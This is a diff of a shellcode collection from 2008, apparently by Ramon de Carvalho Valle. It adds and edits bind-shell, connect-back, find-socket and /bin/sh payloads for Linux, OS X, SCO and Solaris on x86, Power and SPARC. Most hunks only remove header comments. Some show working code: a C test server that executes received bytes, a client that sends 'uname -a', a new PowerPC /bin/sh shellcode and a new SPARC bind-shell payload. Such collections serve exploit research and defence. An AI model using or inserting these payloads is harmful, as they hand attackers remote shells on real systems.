||||
perror("select");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (FD_ISSET(0, &fds)) {
|
||||
if ((count = read(0, buf, sizeof(buf))) < 1) {
|
||||
if (errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK)
|
||||
continue;
|
||||
else
|
||||
break;
|
||||
}
|
||||
write(s, buf, count);
|
||||
}
|
||||
if (FD_ISSET(s, &fds)) {
|
||||
if ((count = read(s, buf, sizeof(buf))) < 1) {
|
||||
if (errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK)
|
||||
continue;
|
||||
else
|
||||
break;
|
||||
}
|
||||
write(1, buf, count);
|
||||
}
|
||||
}
|
||||
|
||||
sleep(4);
|
||||
|
||||
write(s, "uname -a\n", 9);
|
||||
while (1) {
|
||||
fd_set fds;
|
||||
int count;
|
||||
char buf[1024];
|
||||
|
||||
FD_ZERO(&fds);
|
||||
FD_SET(0, &fds);
|
||||
FD_SET(s, &fds);
|
||||
if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) == -1) {
|
||||
if (errno == EINTR)
|
||||
continue;
|
||||
perror("select");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (FD_ISSET(0, &fds)) {
|
||||
if ((count = read(0, buf, sizeof(buf))) < 1) {
|
||||
if (errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK)
|
||||
continue;
|
||||
else
|
||||
break;
|
||||
}
|
||||
write(s, buf, count);
|
||||
}
|
||||
if (FD_ISSET(s, &fds)) {
|
||||
if ((count = read(s, buf, sizeof(buf))) < 1) {
|
||||
if (errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK)
|
||||
continue;
|
||||
else
|
||||
break;
|
||||
}
|
||||
write(1, buf, count);
|
||||
}
|
||||
}
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: fndsockserver.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* fndsockserver.c - Sample fndsockcode server for testing purposes
|
||||
* fndsockserver.c
|
||||
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
|
@ -36,134 +34,134 @@
|
|||
int
|
||||
hexdump(char *buf, int len)
|
||||
{
|
||||
int i, j;
|
||||
int i, j;
|
||||
|
||||
for (i=0; i<len; i++) {
|
||||
for (j=0; j<16; j++) {
|
||||
if (i+j >= len)
|
||||
printf("%3s","");
|
||||
else
|
||||
printf("%02x ", (unsigned char)buf[i+j]);
|
||||
}
|
||||
for (i=0; i<len; i++) {
|
||||
for (j=0; j<16; j++) {
|
||||
if (i+j >= len)
|
||||
printf("%3s","");
|
||||
else
|
||||
printf("%02x ", (unsigned char)buf[i+j]);
|
||||
}
|
||||
|
||||
printf("%3s","");
|
||||
printf("%3s","");
|
||||
|
||||
for (j=0; j<16; j++) {
|
||||
if (i+j >= len)
|
||||
printf("%1s","");
|
||||
else
|
||||
if (buf[i+j]>'\x1f' && buf[i+j]<'\x7f')
|
||||
printf("%c", buf[i+j]);
|
||||
else
|
||||
printf(".");
|
||||
}
|
||||
for (j=0; j<16; j++) {
|
||||
if (i+j >= len)
|
||||
printf("%1s","");
|
||||
else
|
||||
if (buf[i+j]>'\x1f' && buf[i+j]<'\x7f')
|
||||
printf("%c", buf[i+j]);
|
||||
else
|
||||
printf(".");
|
||||
}
|
||||
|
||||
i += 15;
|
||||
i += 15;
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
char *addr = "0.0.0.0";
|
||||
int port = 1234;
|
||||
int c, s;
|
||||
int debug = 0, verbose = 0;
|
||||
struct sockaddr_in sin;
|
||||
struct hostent *he;
|
||||
char *addr = "0.0.0.0";
|
||||
int port = 1234;
|
||||
int c, s;
|
||||
int debug = 0, verbose = 0;
|
||||
struct sockaddr_in sin;
|
||||
struct hostent *he;
|
||||
|
||||
while ((c = getopt(argc, argv, "a:dp:v")) != -1) {
|
||||
switch (c) {
|
||||
case 'a':
|
||||
addr = optarg;
|
||||
break;
|
||||
case 'd':
|
||||
debug = 1;
|
||||
break;
|
||||
case 'p':
|
||||
port = atoi(optarg);
|
||||
break;
|
||||
case 'v':
|
||||
verbose = 1;
|
||||
}
|
||||
}
|
||||
while ((c = getopt(argc, argv, "a:dp:v")) != -1) {
|
||||
switch (c) {
|
||||
case 'a':
|
||||
addr = optarg;
|
||||
break;
|
||||
case 'd':
|
||||
debug = 1;
|
||||
break;
|
||||
case 'p':
|
||||
port = atoi(optarg);
|
||||
break;
|
||||
case 'v':
|
||||
verbose = 1;
|
||||
}
|
||||
}
|
||||
|
||||
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
|
||||
perror("socket");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
|
||||
perror("socket");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
memset(&sin, 0, sizeof(sin));
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(port);
|
||||
if ((sin.sin_addr.s_addr = inet_addr(addr)) == -1) {
|
||||
if ((he = gethostbyname(addr)) == NULL) {
|
||||
errno = EADDRNOTAVAIL;
|
||||
perror("gethostbyname");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
memcpy(&sin.sin_addr.s_addr, he->h_addr, 4);
|
||||
}
|
||||
memset(&sin, 0, sizeof(sin));
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(port);
|
||||
if ((sin.sin_addr.s_addr = inet_addr(addr)) == -1) {
|
||||
if ((he = gethostbyname(addr)) == NULL) {
|
||||
errno = EADDRNOTAVAIL;
|
||||
perror("gethostbyname");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
memcpy(&sin.sin_addr.s_addr, he->h_addr, 4);
|
||||
}
|
||||
|
||||
if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
|
||||
perror("bind");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
|
||||
perror("bind");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (listen(s, BACKLOG) == -1) {
|
||||
perror("listen");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (listen(s, BACKLOG) == -1) {
|
||||
perror("listen");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (debug || verbose)
|
||||
printf("listening on %s:%d\n", addr, port);
|
||||
if (debug || verbose)
|
||||
printf("listening on %s:%d\n", addr, port);
|
||||
|
||||
while (1) {
|
||||
int tmp;
|
||||
struct sockaddr_in sin;
|
||||
socklen_t sin_len = sizeof(sin);
|
||||
while (1) {
|
||||
int tmp;
|
||||
struct sockaddr_in sin;
|
||||
socklen_t sin_len = sizeof(sin);
|
||||
|
||||
if((tmp = accept(s, (struct sockaddr *)&sin, &sin_len)) == -1) {
|
||||
perror("accept");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if((tmp = accept(s, (struct sockaddr *)&sin, &sin_len)) == -1) {
|
||||
perror("accept");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (debug || verbose)
|
||||
printf("accepted connection from %s:%d\n", inet_ntoa(sin.sin_addr),
|
||||
ntohs(sin.sin_port));
|
||||
if (debug || verbose)
|
||||
printf("accepted connection from %s:%d\n", inet_ntoa(sin.sin_addr),
|
||||
ntohs(sin.sin_port));
|
||||
|
||||
if (!fork()) {
|
||||
int count;
|
||||
char buf[1024];
|
||||
if (!fork()) {
|
||||
int count;
|
||||
char buf[1024];
|
||||
|
||||
count = recv(tmp, buf, sizeof(buf), 0);
|
||||
count = recv(tmp, buf, sizeof(buf), 0);
|
||||
|
||||
if (debug)
|
||||
hexdump(buf, count);
|
||||
if (debug)
|
||||
hexdump(buf, count);
|
||||
|
||||
if (debug || verbose)
|
||||
printf("%d bytes received\n", count);
|
||||
if (debug || verbose)
|
||||
printf("%d bytes received\n", count);
|
||||
|
||||
sleep(2);
|
||||
sleep(2);
|
||||
|
||||
#if (defined(POWER) || defined(POWERPC)) && defined(M64)
|
||||
{
|
||||
/* fake function descriptor */
|
||||
unsigned long fdesc[2] = {(unsigned long)buf, 0};
|
||||
(*(void (*)())fdesc)();
|
||||
}
|
||||
#if defined(_AIX) || (defined(__linux__) && defined(__powerpc64__))
|
||||
{
|
||||
/* fake function descriptor */
|
||||
unsigned long fdesc[2] = {(unsigned long)buf, 0};
|
||||
(*(void (*)())fdesc)();
|
||||
}
|
||||
#else
|
||||
(*(void (*)())buf)();
|
||||
(*(void (*)())buf)();
|
||||
#endif
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
}
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
}
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: lin-power-bndsockcode.S 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-power-bndsockcode.S - Linux Power/CBEA Network server code
|
||||
* lin-power-bndsockcode.S
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
@ -20,12 +18,6 @@
|
|||
*
|
||||
*/
|
||||
|
||||
/*
|
||||
* Compile with the following command.
|
||||
* $ gcc -Wall -o lin-power-bndsockcode lin-power-bndsockcode.S
|
||||
*
|
||||
*/
|
||||
|
||||
#include "linux-power.h"
|
||||
|
||||
.globl main
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: lin-power-bndsockcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-power-bndsockcode.c - Linux Power/CBEA Network server code
|
||||
* lin-power-bndsockcode.c
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: lin-power-bndsockcode64.S 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-power-bndsockcode64.S - Linux Power/CBEA Network server code
|
||||
* lin-power-bndsockcode64.S
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
@ -20,12 +18,6 @@
|
|||
*
|
||||
*/
|
||||
|
||||
/*
|
||||
* Compile with the following command.
|
||||
* $ gcc -Wall -o lin-power-bndsockcode64 lin-power-bndsockcode64.S
|
||||
*
|
||||
*/
|
||||
|
||||
#include "linux-power.h"
|
||||
|
||||
.globl main
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: lin-power-bndsockcode64.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-power-bndsockcode64.c - Linux Power/CBEA Network server code
|
||||
* lin-power-bndsockcode64.c
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: lin-power-cntsockcode.S 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-power-cntsockcode.S - Linux Power/CBEA Network connect code
|
||||
* lin-power-cntsockcode.S
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
@ -20,12 +18,6 @@
|
|||
*
|
||||
*/
|
||||
|
||||
/*
|
||||
* Compile with the following command.
|
||||
* $ gcc -Wall -o lin-power-cntsockcode lin-power-cntsockcode.S
|
||||
*
|
||||
*/
|
||||
|
||||
#include "linux-power.h"
|
||||
|
||||
.globl main
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: lin-power-cntsockcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-power-cntsockcode.c - Linux Power/CBEA Network connect code
|
||||
* lin-power-cntsockcode.c
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: lin-power-cntsockcode64.S 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-power-cntsockcode64.S - Linux Power/CBEA Network connect code
|
||||
* lin-power-cntsockcode64.S
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
@ -20,12 +18,6 @@
|
|||
*
|
||||
*/
|
||||
|
||||
/*
|
||||
* Compile with the following command.
|
||||
* $ gcc -Wall -o lin-power-cntsockcode64 lin-power-cntsockcode64.S
|
||||
*
|
||||
*/
|
||||
|
||||
#include "linux-power.h"
|
||||
|
||||
.globl main
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: lin-power-cntsockcode64.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-power-cntsockcode64.c - Linux Power/CBEA Network connect code
|
||||
* lin-power-cntsockcode64.c
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: lin-power-fndsockcode.S 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-power-fndsockcode.S - Linux Power/CBEA Find socket code
|
||||
* lin-power-fndsockcode.S
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
@ -20,12 +18,6 @@
|
|||
*
|
||||
*/
|
||||
|
||||
/*
|
||||
* Compile with the following command.
|
||||
* $ gcc -Wall -o lin-power-fndsockcode lin-power-fndsockcode.S
|
||||
*
|
||||
*/
|
||||
|
||||
#include "linux-power.h"
|
||||
|
||||
.globl main
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: lin-power-fndsockcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-power-fndsockcode.c - Linux Power/CBEA Find socket code
|
||||
* lin-power-fndsockcode.c
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: lin-power-fndsockcode64.S 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-power-fndsockcode64.S - Linux Power/CBEA Find socket code
|
||||
* lin-power-fndsockcode64.S
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
@ -20,12 +18,6 @@
|
|||
*
|
||||
*/
|
||||
|
||||
/*
|
||||
* Compile with the following command.
|
||||
* $ gcc -Wall -o lin-power-fndsockcode64 lin-power-fndsockcode64.S
|
||||
*
|
||||
*/
|
||||
|
||||
#include "linux-power.h"
|
||||
|
||||
.globl main
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: lin-power-fndsockcode64.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-power-fndsockcode64.c - Linux Power/CBEA Find socket code
|
||||
* lin-power-fndsockcode64.c
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: lin-power-shellcode.S 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-power-shellcode.S - Linux Power/CBEA shellcode
|
||||
* lin-power-shellcode.S
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
@ -20,12 +18,6 @@
|
|||
*
|
||||
*/
|
||||
|
||||
/*
|
||||
* Compile with the following command.
|
||||
* $ gcc [-DALL] -Wall -o lin-power-shellcode lin-power-shellcode.S
|
||||
*
|
||||
*/
|
||||
|
||||
#include "linux-power.h"
|
||||
|
||||
.globl main
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: lin-power-shellcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-power-shellcode.c - Linux Power/CBEA shellcode
|
||||
* lin-power-shellcode.c
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: lin-power-shellcode64.S 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-power-shellcode64.S - Linux Power/CBEA shellcode
|
||||
* lin-power-shellcode64.S
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
@ -20,12 +18,6 @@
|
|||
*
|
||||
*/
|
||||
|
||||
/*
|
||||
* Compile with the following command.
|
||||
* $ gcc -Wall -o lin-power-shellcode64 lin-power-shellcode64.S
|
||||
*
|
||||
*/
|
||||
|
||||
#include "linux-power.h"
|
||||
|
||||
.globl main
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: lin-power-shellcode64.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-power-shellcode64.c - Linux Power/CBEA shellcode
|
||||
* lin-power-shellcode64.c
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: lin-x86-bndsockcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-x86-bndsockcode.c
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: lin-x86-bndsockcode.s 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-x86-bndsockcode.s
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: lin-x86-cntsockcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-x86-cntsockcode.c
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: lin-x86-cntsockcode.s 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-x86-cntsockcode.s
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: lin-x86-fndsockcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-x86-fndsockcode.c
|
||||
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: lin-x86-fndsockcode.s 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-x86-fndsockcode.s
|
||||
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: lin-x86-shellcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-x86-shellcode.c
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: lin-x86-shellcode.s 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* lin-x86-shellcode.s
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: linux-power.h 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* linux-power.h
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
@ -56,3 +54,4 @@
|
|||
#define __NC_getpeername -(__CAL - __SC_getpeername)
|
||||
|
||||
#endif
|
||||
|
||||
|
|
|
@ -1,27 +1,5 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
#
|
||||
# $Id: objdumptoc.rb 40 2008-11-17 02:45:30Z ramon $
|
||||
#
|
||||
# objdumptoc.rb - Convert GNU objdump output to C source
|
||||
# Copyright 2007 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
#
|
||||
#
|
||||
|
||||
class Parser
|
||||
|
||||
SIZE1 = 28
|
||||
|
|
|
@ -0,0 +1,39 @@
|
|||
/*
|
||||
* osx-ppc-shellcode.s
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* This library is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with this library; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*
|
||||
*/
|
||||
|
||||
.global _start
|
||||
|
||||
_start:
|
||||
|
||||
# 00 bytes
|
||||
|
||||
shellcode:
|
||||
xor. r5,r5,r5
|
||||
bnel shellcode
|
||||
mflr r31
|
||||
addi r3,r31,32
|
||||
stwu r5,-4(r1)
|
||||
stwu r3,-4(r1)
|
||||
lr r1,r4
|
||||
li r0,59
|
||||
sc
|
||||
|
||||
.asciiz "/bin/sh"
|
||||
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: osx-x86-bndsockcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* osx-x86-bndsockcode.c
|
||||
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: osx-x86-bndsockcode.s 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* osx-x86-bndsockcode.s
|
||||
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: osx-x86-cntsockcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* osx-x86-cntsockcode.c
|
||||
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: osx-x86-cntsockcode.s 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* osx-x86-cntsockcode.s
|
||||
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: osx-x86-fndsockcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* osx-x86-fndsockcode.c
|
||||
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: osx-x86-fndsockcode.s 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* osx-x86-fndsockcode.s
|
||||
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: osx-x86-shellcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* osx-x86-shellcode.c
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: osx-x86-shellcode.s 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* osx-x86-shellcode.s
|
||||
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: sco-x86-shellcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* sco-x86-shellcode.c
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: sco-x86-shellcode.s 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* sco-x86-shellcode.s
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -0,0 +1,96 @@
|
|||
/*
|
||||
* sol-sparc-bndsockcode.s
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* This library is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with this library; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*
|
||||
*/
|
||||
|
||||
.globl _start
|
||||
|
||||
_start:
|
||||
|
||||
# 00 bytes
|
||||
|
||||
bndsockcode:
|
||||
|
||||
# so_socket
|
||||
|
||||
mov 0x02,%o4
|
||||
xor %o3,%o3,%o3
|
||||
xor %o2,%o2,%o2
|
||||
mov 0x02,%o1
|
||||
mov 0x02,%o0
|
||||
mov 0xe6,%g1
|
||||
ta 0x08
|
||||
|
||||
st %o0,[%sp-0x08]
|
||||
|
||||
# bind
|
||||
|
||||
set 0x204d2fff,%l0
|
||||
srl %l0,12,%l0
|
||||
|
||||
mov 0x02,%o3
|
||||
mov 0x10,%o2
|
||||
st %l0,[%sp-0x10]
|
||||
st %g0,[%sp-0x0c]
|
||||
sub %sp,0x10,%o1
|
||||
mov 0xe8,%g1
|
||||
ta 0x08
|
||||
|
||||
# listen
|
||||
|
||||
mov 0x05,%o1
|
||||
ld [%sp-0x08],%o0
|
||||
mov 0xe9,%g1
|
||||
ta 0x08
|
||||
|
||||
# accept
|
||||
|
||||
xor %o2,%o2,%o2
|
||||
xor %o1,%o1,%o1
|
||||
ld [%sp-0x08],%o0
|
||||
mov 0xea,%g1
|
||||
ta 0x08
|
||||
|
||||
st %o0,[%sp-0x04]
|
||||
|
||||
# fcntl
|
||||
|
||||
mov 0x03,%o2
|
||||
|
||||
0:
|
||||
subcc %o2,1,%o2
|
||||
mov 0x09,%o1
|
||||
mov 0x3e,%g1
|
||||
ta 0x08
|
||||
|
||||
bnz,a 0b
|
||||
ld [%sp-0x04],%o0
|
||||
|
||||
shellcode:
|
||||
xor %o2,%o2,%o2
|
||||
sethi %hi(0x2f62696e),%l0
|
||||
or %l0,0x96e,%l0
|
||||
sethi %hi(0x2f736800),%l1
|
||||
std %l0,[%sp-0x08]
|
||||
sub %sp,0x08,%o0
|
||||
st %o0,[%sp-0x10]
|
||||
st %g0,[%sp-0x0c]
|
||||
sub %sp,0x10,%o1
|
||||
